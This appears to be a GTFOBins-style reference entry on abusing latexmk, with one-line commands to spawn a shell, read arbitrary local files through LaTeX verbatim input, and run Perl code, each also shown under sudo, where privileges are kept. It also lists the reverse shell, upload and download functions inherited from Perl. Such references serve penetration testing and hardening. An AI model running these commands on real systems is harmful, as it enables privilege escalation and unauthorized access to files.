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• Shell
• File read
• Inherit
• Shell
• Reverse shell
• File read
• Upload
• Download

Shell

This executable can spawn an interactive system shell.

• Unprivileged

  This function can be performed by any unprivileged user.

  latexmk -pdf -pdflatex='/bin/sh #' /dev/null

  Sudo

  This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

  Remarks

  If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

  latexmk -pdf -pdflatex='/bin/sh #' /dev/null

File read

This executable can read data from local files.

• Comment

  The read file will be part of the output.

  Unprivileged

  This function can be performed by any unprivileged user.

  echo '\documentclass{article}\usepackage{verbatim}\begin{document}\verbatiminput{/path/to/input-file}\end{document}' >/path/to/temp-file
  latexmk -dvi /path/to/temp-file
  strings temp-file.dvi

  Sudo

  This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

  Remarks

  If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

  echo '\documentclass{article}\usepackage{verbatim}\begin{document}\verbatiminput{/path/to/input-file}\end{document}' >/path/to/temp-file
  latexmk -dvi /path/to/temp-file
  strings temp-file.dvi

  Remarks

  The content is corrupted or otherwise altered by the process, thus it might not be suitable for handling arbitrary binary data.

Inherit

This executable can inherit functions from another.

• Comment

  This allows to run Perl code (...).

  Unprivileged

  This function can be performed by any unprivileged user.

  latexmk -e '...'

  Sudo

  This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

  Remarks

  If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

  latexmk -e '...'

  Functions

  Inherits from perl, thus possibly granting the following functions:

  • Shell
  • Reverse shell
  • File read
  • Upload
  • Download

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